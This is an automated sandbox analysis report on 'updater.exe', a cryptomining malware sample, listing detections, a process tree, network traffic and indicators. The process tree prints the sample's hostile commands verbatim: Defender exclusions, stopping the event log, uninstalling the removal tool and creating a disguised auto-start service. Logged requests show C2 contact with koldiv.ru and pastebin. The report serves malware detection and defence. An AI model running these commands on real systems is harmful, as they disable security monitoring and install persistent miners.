Edit tour

Windows Analysis Report
updater.exe

Overview

General Information

Sample name:	updater.exe
Analysis ID:	1478400
MD5:	d82677ac9971e38439a6f8069e8ba5bf
SHA1:	534b60e16989751c4e2252bbbcc38d97b979f2d0
SHA256:	f981ff1ec7014262015fa7ff9cc01097e98ecec7385e0828b7d91dde5b38ce03
Tags:	exeSilentCryptoMinerUnamSanctam
Infos:

Detection

Xmrig

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Sigma detected: Disable power options

Sigma detected: Stop EventLog

Yara detected Xmrig cryptocurrency miner

AI detected suspicious sample

Adds a directory exclusion to Windows Defender

Connects to a pastebin service (likely for C&C)

Found strings related to Crypto-Mining

Loading BitLocker PowerShell Module

Modifies power options to not sleep / hibernate

Modifies the context of a thread in another process (thread injection)

Modifies the hosts file

Sample is not signed and drops a device driver

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Uses powercfg.exe to modify the power settings

AV process strings found (often used to terminate AV products)

Contains functionality to call native functions

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates driver files

Deletes files inside the Windows folder

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Drops PE files to the windows directory (C:\Windows)

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains sections with non-standard names

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Powershell Defender Exclusion

Uses code obfuscation techniques (call, push, ret)

Yara signature match

Classification

Process Tree

System is w10x64

updater.exe (PID: 6300 cmdline: "C:\Users\user\Desktop\updater.exe" MD5: D82677AC9971E38439A6F8069E8BA5BF)

powershell.exe (PID: 3376 cmdline: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 1812 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 5568 cmdline: C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5504 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

wusa.exe (PID: 5596 cmdline: wusa /uninstall /kb:890830 /quiet /norestart MD5: FBDA2B8987895780375FE0E6254F6198)

powercfg.exe (PID: 3872 cmdline: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

conhost.exe (PID: 4368 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powercfg.exe (PID: 5760 cmdline: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

conhost.exe (PID: 6220 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powercfg.exe (PID: 5040 cmdline: C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

conhost.exe (PID: 6412 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powercfg.exe (PID: 6176 cmdline: C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

conhost.exe (PID: 4512 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 6364 cmdline: C:\Windows\system32\sc.exe delete "GoogleUpdateTaskMachineQC" MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 4720 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 892 cmdline: C:\Windows\system32\sc.exe create "GoogleUpdateTaskMachineQC" binpath= "C:\ProgramData\Google\Chrome\updater.exe" start= "auto" MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 2460 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 5272 cmdline: C:\Windows\system32\sc.exe stop eventlog MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 5352 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 5348 cmdline: C:\Windows\system32\sc.exe start "GoogleUpdateTaskMachineQC" MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 6160 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

updater.exe (PID: 1896 cmdline: C:\ProgramData\Google\Chrome\updater.exe MD5: D82677AC9971E38439A6F8069E8BA5BF)

powershell.exe (PID: 3304 cmdline: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 1848 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 5600 cmdline: C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 1864 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

wusa.exe (PID: 1096 cmdline: wusa /uninstall /kb:890830 /quiet /norestart MD5: FBDA2B8987895780375FE0E6254F6198)

powercfg.exe (PID: 3688 cmdline: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

conhost.exe (PID: 2360 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powercfg.exe (PID: 4148 cmdline: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

conhost.exe (PID: 5960 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powercfg.exe (PID: 4292 cmdline: C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

conhost.exe (PID: 6752 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powercfg.exe (PID: 1632 cmdline: C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

conhost.exe (PID: 4284 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

conhost.exe (PID: 2568 cmdline: C:\Windows\system32\conhost.exe MD5: 0D698AF330FD17BEE3BF90011D49251D)

conhost.exe (PID: 5596 cmdline: conhost.exe MD5: 0D698AF330FD17BEE3BF90011D49251D)

svchost.exe (PID: 4436 cmdline: C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
xmrig	According to PCrisk, XMRIG is a completely legitimate open-source application that utilizes system CPUs to mine Monero cryptocurrency. Unfortunately, criminals generate revenue by infiltrating this app into systems without users' consent. This deceptive marketing method is called "bundling".In most cases, "bundling" is used to infiltrate several potentially unwanted programs (PUAs) at once. So, there is a high probability that XMRIG Virus came with a number of adware-type applications that deliver intrusive ads and gather sensitive information.	No Attribution	https://gridinsoft.com/xmrig https://www.crowdstrike.com/blog/new-kiss-a-dog-cryptojacking-campaign-targets-docker-and-kubernetes/	https://malpedia.caad.fkie.fraunhofer.de/details/win.xmrig

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
sslproxydump.pcap	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000027.00000002.3249654814.000002862EC04000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000027.00000002.3249654814.000002862EC16000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000027.00000003.2729862472.000002862EC1F000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000027.00000002.3248257230.0000000140001000.00000040.00000001.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000027.00000002.3248257230.0000000140001000.00000040.00000001.00020000.00000000.sdmp	MacOS_Cryptominer_Xmrig_241780a1	unknown	unknown	0x37eb98:$a1: mining.set_target 0x370e20:$a2: XMRIG_HOSTNAME 0x373748:$a3: Usage: xmrig [OPTIONS] 0x370df8:$a4: XMRIG_VERSION
Process Memory Space: conhost.exe PID: 5596	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
Process Memory Space: conhost.exe PID: 5596	MacOS_Cryptominer_Xmrig_241780a1	unknown	unknown	0x42d43:$a1: mining.set_target 0x3f4ec:$a2: XMRIG_HOSTNAME 0x40264:$a3: Usage: xmrig [OPTIONS] 0x3f4cd:$a4: XMRIG_VERSION
Click to see the 2 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
39.2.conhost.exe.140000000.0.unpack	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
39.2.conhost.exe.140000000.0.unpack	MacOS_Cryptominer_Xmrig_241780a1	unknown	unknown	0x37ef98:$a1: mining.set_target 0x371220:$a2: XMRIG_HOSTNAME 0x373b48:$a3: Usage: xmrig [OPTIONS] 0x3711f8:$a4: XMRIG_VERSION
39.2.conhost.exe.140000000.0.unpack	MAL_XMR_Miner_May19_1	Detects Monero Crypto Coin Miner	Florian Roth	0x3c8ee1:$x2: * COMMANDS 'h' hashrate, 'p' pause, 'r' resume
39.2.conhost.exe.140000000.0.unpack	MALWARE_Win_CoinMiner02	Detects coinmining malware	ditekSHen	0x3c9748:$s1: %s/%s (Windows NT %lu.%lu 0x3cd180:$s3: \\.\WinRing0_ 0x376148:$s4: pool_wallet 0x3705f0:$s5: cryptonight 0x370600:$s5: cryptonight 0x370610:$s5: cryptonight 0x370620:$s5: cryptonight 0x370638:$s5: cryptonight 0x370648:$s5: cryptonight 0x370658:$s5: cryptonight 0x370670:$s5: cryptonight 0x370680:$s5: cryptonight 0x370698:$s5: cryptonight 0x3706b0:$s5: cryptonight 0x3706c0:$s5: cryptonight 0x3706d0:$s5: cryptonight 0x3706e0:$s5: cryptonight 0x3706f8:$s5: cryptonight 0x370710:$s5: cryptonight 0x370720:$s5: cryptonight 0x370730:$s5: cryptonight

Sigma Signatures

Change of critical system settings

Sigma detected: Disable power options

Source: Process started

Author: Joe Security: Data: Command: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0, CommandLine: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0, CommandLine|base64offset|contains: , Image: C:\Windows\System32\powercfg.exe, NewProcessName: C:\Windows\System32\powercfg.exe, OriginalFileName: C:\Windows\System32\powercfg.exe, ParentCommandLine: "C:\Users\user\Desktop\updater.exe", ParentImage: C:\Users\user\Desktop\updater.exe, ParentProcessId: 6300, ParentProcessName: updater.exe, ProcessCommandLine: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0, ProcessId: 3872, ProcessName: powercfg.exe

System Summary

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force, CommandLine: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force, CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\updater.exe", ParentImage: C:\Users\user\Desktop\updater.exe, ParentProcessId: 6300, ParentProcessName: updater.exe, ProcessCommandLine: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force, ProcessId: 3376, ProcessName: powershell.exe

Sigma detected: Powershell Defender Exclusion

Source: Process started

Sigma detected: New Service Creation Using Sc.EXE

Source: Process started

Author: Timur Zinniatullin, Daniil Yugoslavskiy, oscd.community: Data: Command: C:\Windows\system32\sc.exe create "GoogleUpdateTaskMachineQC" binpath= "C:\ProgramData\Google\Chrome\updater.exe" start= "auto", CommandLine: C:\Windows\system32\sc.exe create "GoogleUpdateTaskMachineQC" binpath= "C:\ProgramData\Google\Chrome\updater.exe" start= "auto", CommandLine|base64offset|contains: r, Image: C:\Windows\System32\sc.exe, NewProcessName: C:\Windows\System32\sc.exe, OriginalFileName: C:\Windows\System32\sc.exe, ParentCommandLine: "C:\Users\user\Desktop\updater.exe", ParentImage: C:\Users\user\Desktop\updater.exe, ParentProcessId: 6300, ParentProcessName: updater.exe, ProcessCommandLine: C:\Windows\system32\sc.exe create "GoogleUpdateTaskMachineQC" binpath= "C:\ProgramData\Google\Chrome\updater.exe" start= "auto", ProcessId: 892, ProcessName: sc.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force, CommandLine: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force, CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\updater.exe", ParentImage: C:\Users\user\Desktop\updater.exe, ParentProcessId: 6300, ParentProcessName: updater.exe, ProcessCommandLine: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force, ProcessId: 3376, ProcessName: powershell.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager, CommandLine: C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager, ProcessId: 4436, ProcessName: svchost.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Stop EventLog

Source: Process started

Author: Joe Security: Data: Command: C:\Windows\system32\sc.exe stop eventlog, CommandLine: C:\Windows\system32\sc.exe stop eventlog, CommandLine|base64offset|contains: ), Image: C:\Windows\System32\sc.exe, NewProcessName: C:\Windows\System32\sc.exe, OriginalFileName: C:\Windows\System32\sc.exe, ParentCommandLine: "C:\Users\user\Desktop\updater.exe", ParentImage: C:\Users\user\Desktop\updater.exe, ParentProcessId: 6300, ParentProcessName: updater.exe, ProcessCommandLine: C:\Windows\system32\sc.exe stop eventlog, ProcessId: 5272, ProcessName: sc.exe

Snort Signatures

⊘No Snort rule has matched

Suricata Signatures

ETPRO COINMINER XMR CoinMiner Usage - Source IP: 192.168.2.5 - Destination IP: 141.94.96.195

Timestamp:	2024-07-22T15:45:08.333951+0200
SID:	2826930
Source Port:	49724
Destination Port:	443
Protocol:	TCP
Classtype:	Crypto Currency Mining Activity Detected

ET MALWARE CoinMiner Domain in DNS Lookup (pool .supportxmr .com) - Source IP: 192.168.2.5 - Destination IP: 1.1.1.1

Timestamp:	2024-07-22T15:46:06.697997+0200
SID:	2047928
Source Port:	60971
Destination Port:	53
Protocol:	UDP
Classtype:	Crypto Currency Mining Activity Detected

ET MALWARE SilentCryptoMiner Agent Config Inbound - Source IP: 77.222.57.251 - Destination IP: 192.168.2.5

Timestamp:	2024-07-22T15:46:06.696381+0200
SID:	2054247
Source Port:	80
Destination Port:	49723
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET COINMINER Observed DNS Query to Cryptocurrency Mining Pool Domain (xmr .2miners .com) - Source IP: 192.168.2.5 - Destination IP: 1.1.1.1

Timestamp:	2024-07-22T15:45:05.821446+0200
SID:	2040353
Source Port:	52943
Destination Port:	53
Protocol:	UDP
Classtype:	Crypto Currency Mining Activity Detected

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M3 - Source IP: 192.168.2.5 - Destination IP: 77.222.57.251

Timestamp:	2024-07-22T15:45:11.088905+0200
SID:	2044697
Source Port:	49708
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M3 - Source IP: 192.168.2.5 - Destination IP: 77.222.57.251

Timestamp:	2024-07-22T15:46:06.695665+0200
SID:	2044697
Source Port:	49723
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: http://koldiv.ru	Avira URL Cloud: Label: malware
Source: http://koldiv.ru/api/endpoint.php	Avira URL Cloud: Label: malware
Source: http://koldiv.ru/http://koldiv.ru	Avira URL Cloud: Label: malware

Multi AV Scanner detection for dropped file

Source: C:\ProgramData\Google\Chrome\updater.exe

ReversingLabs: Detection: 65%

Multi AV Scanner detection for submitted file

Source: updater.exe

ReversingLabs: Detection: 65%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.9% probability

Bitcoin Miner

Yara detected Xmrig cryptocurrency miner

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: 39.2.conhost.exe.140000000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000027.00000002.3249654814.000002862EC04000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000027.00000002.3249654814.000002862EC16000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000027.00000003.2729862472.000002862EC1F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000027.00000002.3248257230.0000000140001000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: conhost.exe PID: 5596, type: MEMORYSTR

Found strings related to Crypto-Mining

Source: conhost.exe, 00000027.00000002.3248257230.0000000140001000.00000040.00000001.00020000.00000000.sdmp	String found in binary or memory: stratum+tcp://
Source: conhost.exe	String found in binary or memory: cryptonight-monerov7
Source: conhost.exe, 00000027.00000002.3248257230.0000000140001000.00000040.00000001.00020000.00000000.sdmp	String found in binary or memory: -o, --url=URL URL of mining server
Source: conhost.exe, 00000027.00000002.3248257230.0000000140001000.00000040.00000001.00020000.00000000.sdmp	String found in binary or memory: stratum+tcp://
Source: conhost.exe, 00000027.00000002.3248257230.0000000140001000.00000040.00000001.00020000.00000000.sdmp	String found in binary or memory: Usage: xmrig [OPTIONS]
Source: conhost.exe, 00000027.00000002.3248257230.0000000140001000.00000040.00000001.00020000.00000000.sdmp	String found in binary or memory: Usage: xmrig [OPTIONS]

Source: updater.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:

Binary string: d:\hotproject\winring0\source\dll\sys\lib\amd64\WinRing0.pdb source: updater.exe, 00000018.00000003.2105630449.0000021747340000.00000004.00000001.00020000.00000000.sdmp

Networking

Connects to a pastebin service (likely for C&C)

Source: unknown

DNS query: name: pastebin.com

Source: global traffic

TCP traffic: 192.168.2.5:49704 -> 162.19.139.184:12222

Source: Joe Sandbox View	IP Address: 141.94.96.195 141.94.96.195
Source: Joe Sandbox View	IP Address: 104.20.4.235 104.20.4.235
Source: Joe Sandbox View	IP Address: 104.20.4.235 104.20.4.235
Source: Joe Sandbox View	IP Address: 162.19.139.184 162.19.139.184

Source: Joe Sandbox View

ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /raw/HpN5DV4T HTTP/1.1Accept: /Connection: closeHost: pastebin.comUser-Agent: cpp-httplib/0.12.6
Source: global traffic	HTTP traffic detected: GET /raw/xhASwz5f HTTP/1.1Accept: /Connection: closeHost: pastebin.comUser-Agent: cpp-httplib/0.12.6
Source: global traffic	HTTP traffic detected: GET /http://koldiv.ru HTTP/1.1Accept: /Connection: closeHost: koldiv.ruUser-Agent: cpp-httplib/0.12.6

Source: global traffic	DNS traffic detected: DNS query: xmr.2miners.com
Source: global traffic	DNS traffic detected: DNS query: koldiv.ru
Source: global traffic	DNS traffic detected: DNS query: pastebin.com
Source: global traffic	DNS traffic detected: DNS query: pool.supportxmr.com

Source: unknown

HTTP traffic detected: POST /api/endpoint.php HTTP/1.1Accept: */*Connection: closeContent-Length: 366Content-Type: application/jsonHost: koldiv.ruUser-Agent: cpp-httplib/0.12.6

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.25.4Date: Mon, 22 Jul 2024 13:45:07 GMTContent-Type: text/html; charset=iso-8859-1Transfer-Encoding: chunkedConnection: closeVary: Accept-EncodingVary: accept-language,accept-charsetAccept-Ranges: bytesContent-Language: enData Raw: 34 30 62 0d 0a 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 49 53 4f 2d 38 38 35 39 2d 31 22 3f 3e 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 0a 20 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 6c 61 6e 67 3d 22 65 6e 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 4f 62 6a 65 63 74 20 6e 6f 74 20 66 6f 75 6e 64 21 3c 2f 74 69 74 6c 65 3e 0a 3c 6c 69 6e 6b 20 72 65 76 3d 22 6d 61 64 65 22 20 68 72 65 66 3d 22 6d 61 69 6c 74 6f 3a 77 65 62 6d 61 73 74 65 72 40 6b 6f 6c 64 69 76 2e 72 75 22 20 2f 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 2f 2a 2d 2d 3e 3c 21 5b 43 44 41 54 41 5b 2f 2a 3e 3c 21 2d 2d 2a 2f 20 0a 20 20 20 20 62 6f 64 79 20 7b 20 63 6f 6c 6f 72 3a 20 23 30 30 30 30 30 30 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 46 46 46 46 46 46 3b 20 7d 0a 20 20 20 20 61 3a 6c 69 6e 6b 20 7b 20 63 6f 6c 6f 72 3a 20 23 30 30 30 30 43 43 3b 20 7d 0a 20 20 20 20 70 2c 20 61 64 64 72 65 73 73 20 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 33 65 6d 3b 7d 0a 20 20 20 20 73 70 61 6e 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 20 73 6d 61 6c 6c 65 72 3b 7d 0a 2f 2a 5d 5d 3e 2a 2f 2d 2d 3e 3c 2f 73 74 79 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4f 62 6a 65 63 74 20 6e 6f 74 20 66 6f 75 6e 64 21 3c 2f 68 31 3e 0a 3c 70 3e 0a 0a 0a 20 20 20 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 0a 0a 20 20 0a 0a 20 20 20 20 49 66 20 79 6f 75 20 65 6e 74 65 72 65 64 20 74 68 65 20 55 52 4c 20 6d 61 6e 75 61 6c 6c 79 20 70 6c 65 61 73 65 20 63 68 65 63 6b 20 79 6f 75 72 0a 20 20 20 20 73 70 65 6c 6c 69 6e 67 20 61 6e 64 20 74 72 79 20 61 67 61 69 6e 2e 0a 0a 20 20 0a 0a 3c 2f 70 3e 0a 3c 70 3e 0a 49 66 20 79 6f 75 20 74 68 69 6e 6b 20 74 68 69 73 20 69 73 20 61 20 73 65 72 76 65 72 20 65 72 72 6f 72 2c 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 0a 74 68 65 20 3c 61 20 68 72 65 66 3d 22 6d 61 69 6c 74 6f 3a 77 65 62 6d 61 73 74 65 72 40 6b 6f 6c 64 69 76 2e 72 75 22 3e 77 65 62 6d 61 73 74 65 72 3c 2f 61 3e 2e 0a 0a 3c 2f 70 3e 0a 0a 3c 68 32 3e 45 72 72 6f 72 20 34 30 34 3c 2f 68 32 3e 0a 3c 61 64 64 72 65 73 73 3e 0a 20 20 3c 61 20 68 72 65 66 3d 2

Source: updater.exe, 00000018.00000003.2105630449.0000021747340000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/ObjectSign.crl0
Source: updater.exe, 00000018.00000003.2105630449.0000021747340000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/Root.crl0
Source: updater.exe, 00000018.00000003.2105630449.0000021747340000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/RootSignPartners.crl0
Source: updater.exe, 00000018.00000003.2105630449.0000021747340000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/primobject.crl0
Source: conhost.exe, 00000027.00000003.2414280384.000002862EC60000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://koldiv.ru
Source: conhost.exe, 00000027.00000002.3249654814.000002862EBE2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://koldiv.ru/api/endpoint.php
Source: conhost.exe, 00000027.00000003.2414325891.000002862EC26000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://koldiv.ruCESSOR_REVI
Source: conhost.exe, 00000027.00000002.3248257230.0000000140001000.00000040.00000001.00020000.00000000.sdmp	String found in binary or memory: https://172.94.1q
Source: conhost.exe, 00000027.00000003.2414280384.000002862EC60000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pastebin.com/raw/HpN5DV4T
